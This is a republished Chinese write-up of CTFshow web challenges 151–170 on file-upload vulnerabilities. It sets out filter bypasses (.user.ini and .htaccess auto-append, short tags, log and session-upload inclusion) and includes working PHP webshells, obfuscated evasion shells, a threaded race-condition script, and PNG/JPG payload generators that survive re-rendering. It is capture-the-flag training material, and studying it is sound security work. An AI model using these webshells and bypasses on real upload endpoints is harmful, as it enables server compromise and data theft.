ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CTFshow刷题日记-WEB-文件上传

2021-09-08 19:58:51  阅读:233  来源: 互联网

标签:WEB 文件 jpg CTFshow ini php 上传 png 刷题


web151-前端绕过

image-20210906144509511

简单只要在前端把exts:png改成php

image-20210906144836977

exts:'php'

image-20210906145002183

访问

/upload/shell.php?shell=system("tac ../flag.php");

web152-content-type绕过

这次不改前端了,直接在bp改,将Content-Type改成 image/png

image-20210906150627230

总结下常见conten-type类型

常见的媒体格式类型如下:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式

更多:链接

web153-user.ini

image-20210906151116896

后端只检测了php,并没有区分大小写,虽然说是传上去了,但是发现事情并没有想象的那么简单,因为访问shell.pHp却是直接下载了文件,说明文件并没有解析

可以用字典fuzz,推荐fuzzDicts-master

发现 .user.ini 可以上传

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

当处于 PHP_INI_PERDIR 和 PHP_INI_USER 模式时,目录下的 user.ini 就相当于目录的说明书,会首先识别 user.ini 里的设置

.user.ini 文件有两个特殊的设置

auto_append_file
相当于在每个php文件尾加上 include(“xxxx”)    
auto_prepend_file
相当于文件头加上 include(“xxx”)    

利用方法

先上传一张文件内容是一句话木马的图片

image-20210906154735395

再上传包含设置的 user.ini 文件

auto_append_file="/var/www/html/upload/shell.png"

image-20210906155940172

之前说过了 user.ini 是所在目录才能起作用,如果目录下没有php文件也就起不到效果,这个题在upload下存在index.php

image-20210906155054044

image-20210906155950321

执行命令拿到flag

web154-短标签绕过

提示:后端不能单二校验

上传了个以shell.png命名的一句话木马,发现提示

image-20210906160142676

应该是对文件内容进行了过滤

首先就是测PHP的标签

<?php ?>

发现删除后文件可以上传成功,和上题一样上传 .user.ini 和 shell.png文件,png文件内容为一句话,这两个文件上传顺序无所谓,.user.ini 是实时生效,不需要apache重启,.user.ini 上传后无需改动了,png文件可以随便覆盖,只要文件名对就行

尝试用短标签绕过

<? echo '123';?>

前提是开启配置参数short_open_tags=on

测试失败

image-20210906161456000

image-20210906161518770

<?=(表达式)?>  等价于 <?php echo (表达式)?>
shell.png文件内容:<?=(`nl ../f*`)?>

测试成功

image-20210906161702379

<% echo '123';%>

前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。

image-20210906162041170

image-20210906162045937

发现没有生效

<script language=”php”>echo '123'; </script>

不需要修改参数开关,但是只能在7.0以下可用

本题php

image-20210906162328351

使用第二种方法即可

web155-短标签绕过2

上传提示:文件上传失败,失败原因:文件类型不合规

发现PHP版本5.6 ok

image-20210906191109057

上题的标签可以使用

上传 .user.ini, 内容

auto_append_file="/var/www/html/upload/shell.png"

上传 shell.png,内容

<?=(`nl ../f*`)?>
    
测试发现短标签也可以
<? echo `tac ../f*`;?>    

web156-绕过[]

在上题基础上文件内容又添加了过滤, fuzz一下

image-20210906193557616

发现 [ 被过滤了, 而我们传入的图片马中一句话木马接受参数 $_GET[] 需要用到

第一种方法就是直接执行命令

<?=(`nl ../f*`)?>

第二种方法

用{}来代替[]

图片马内容<?=eval($_POST{1});?>

web157-159-绕过{}和;

在上题基础上文件内容又添加了过滤了 {} 和 ; 分号

直接执行命令

<?=(`nl ../f*`)?>

web160-绕过反引号

fuzz 了一下发现 () 括号被过滤了 ` 反引号还有一些关键字

image-20210906200050522

可以利用日志包含绕过, 图片内容

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

因为log被过滤了。所以用拼接绕过

和原来一样

image-20210906202943363

image-20210906202953335

查看源码

image-20210906203005141

web161-添加文件头

在前题基础上, 添加文件头 GIF89A, 挺奇怪的, 前端过滤png, 文件头却要gif文件

在这里插入图片描述

在这里插入图片描述

web162-163session文件包含

在文件包含处学习过上传文件,利用session.upload_progress进行文件包含

上传内容需要以GIF89A开头,还要包含png字符串

先上传 .user.ini

image-20210906210435119

在上传 png 图片马,其中内容中不能出现flag字符串

image-20210906212734410

构造前端

<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

image-20210906212757298

浏览器不停访问/upload/, 有概率刷出flag

image-20210906212828037

也可以用python脚本

import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
	'file':'yu22x'
}
cookies={
	'PHPSESSID': sess
}

def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.get(url2)
		if 'flag' in r.text:
			print(r.text)
			
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

web164-png二次渲染绕过

发现上传成功后并不是以目录形式访问而是一个文件指针

image-20210907084004136

说明可能存在文件包含,我们只需要上传一个图片马即可

制作图片马

copy shell.gif /b + shell.php /a 111.gif

把上传的图片下载发现,图片内容发生了变化,说明后台对图片进行了二次渲染

不同的图片格式对于二次渲染的绕过不相同

  • GIF

关于绕过gif的二次渲染,只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了

  • PNG

png图片由3个以上的数据块组成。

PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。

数据块结构

名称字节数说明
Length(长度)4字节指定数据块中数据域的长度,其长度不超过(2的31次方-1)字节
Chunk Type Code(数据块类型码)4字节数据块类型码由ASCII字母(A-Z和a-z)组成
Chunk Data(数据块数据)可变长度存储按照Chunk Type Code指定的数据
CRC(循环冗余检测)4字节存储用来检测是否有错误的循环冗余码

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析数据块

IHDR

数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,它的格式如下所示。

域的名称字节数说明
Width4 bytes图像宽度,以像素为单位
Height4 bytes图像高度,以像素为单位
Bit depth1 bytes图像尝试: 索引彩色图像:1,2,4或8 灰度图像:1,2,4,8或6 真彩图像:8或16
ColorType1 bytes颜色类型: 灰度图像:1,2,4,8或16 真彩色图像:8或16 索引彩色图像:1,2,4或8 带a通道数据的灰度图像:8或16 带a通道数据的真彩色图像:8或16
Compression method4 bytes压缩方法(LZ777派生算法)
Filter method4 bytes滤波器方法
Interlace method4 bytes隔行扫描方法: 非隔行扫描 Adam7(由Adam M.Costello开发的7遍隔行扫描方法)

PLTE

调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND

图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:

00 00 00 00 49 45 4E 44 AE 42 60 82

两种制作二次渲染png木马的方式

第一种方法:写入PLTE数据块

php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可。

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像。

1、在PLTE数据块写入php代码;在PLTE数据块写入php代码

2、计算PLTE数据块的CRC;

CRC脚本

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

运行结果:

526579b0

3、修改CRC值;修改CRC值

4、验证;

将修改后的png图片上传后,下载到本地再打开。png图片二次渲染

第二种方法:写入IDAT数据块

这里有国外大牛写的脚本,直接拿来运行即可。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');

/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
?>

运行后得到1.png,上传后再下载到本地打开如下图:

png写入IDAT数据块

  • JPG

脚本 jpg_payload.php

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

1、随便找一个jpg图片,先上传至服务器然后再下载到本地保存为 1.jpg

2、插入php代码;使用脚本处理1.jpg,命令:

php jpg_payload.php 1.jpg

3、上传图片马;将生成的 payload_1.jpg上传。

注意:有一些jpg图片不能被处理,所以要多尝试一些jpg图片

以上引用自付杰博客

具体到这道题,可以上传的是png文件,那就先尝试png二次渲染绕过

执行png二次渲染绕过的脚本生成1.png上传并带命令访问

image-20210907160646767

返回的也是一张照片,下载照片用010打开

image-20210907161057260

可以直接在burp访问,更加直观

image-20210907161155454

web165-jpg二次渲染绕过

上传文件发现jpg文件可以上传,大概就是jpg的二次渲染绕过了

先上传一张jpg图片然后下载到本地重命名为1.jpg,再用上题的jpg脚本生成payload_1.jpg

image-20210908162117513

010打开发现添加了内容,图片颜色也是发生了变化

payload_1

url发现图片无法访问,其实就说明了php代码被解析了

image-20210908161912177

使用burp抓包查看flag

web166-抓包改内容

可以在前端代码中看到限制只能上传zip格式文件

image-20210908163039375

随便上传个文件发现还是用文件指针去包含,存在文件包含漏洞

image-20210908163240059

上传zip文件抓包改成一句话

image-20210908163742297

再用burp去访问

image-20210908163816218

web167-.htaccess绕过

提示:httpd

随便上传一个文件发现只能上传jpg文件,而且文件不在已包含的形式而是目录形式

image-20210908164431751

.htaccess文件上传

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录

和.user.ini类似

可以通过上传.htaccess文件解析jpg文件

方法1

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

方法2

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

如果flag不是php文件,那么还可以像.user.ini一样在当前目录加载一个文件

php_value auto_append_file 'flag'

先上传.htaccess文件

image-20210908171236420

在上传图片马

image-20210908171352295

访问成功执行命令

image-20210908171405556

image-20210908171504868

web168-免杀绕过

后端对文件内容进行了检测,没有对文件的名进行检查

上传免杀马

image-20210908184159369

image-20210908184428664

其他免杀马

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web169-170.user.ini包含日志文件

前端限制上传为zip文件,但是zip也传不上去,看了wp。

先上传一个zip,然后抓包,改Content-Type为image/png,可以传php等格式,但是发现文件内容过滤了 <> php $

发现可以上传 .user.ini 文件

image-20210908192458465

进行日志文件包含,ua头就是一句话木马

<?php @eval($_POST['shell']);?>
// 注意shell字符串单引号包裹,双引号报错   

image-20210908194029975

随便上传一个php文件,内容随意,注意content-type类型

image-20210908194108990

使用蚁剑去连接

image-20210908194143916

或者在浏览器直接执行命令,不过因为数据比较多不好找

参考链接

羽师傅:https://blog.csdn.net/miuzzx/article/details/109537262

https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

标签:WEB,文件,jpg,CTFshow,ini,php,上传,png,刷题
来源: https://blog.csdn.net/q20010619/article/details/120187544

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有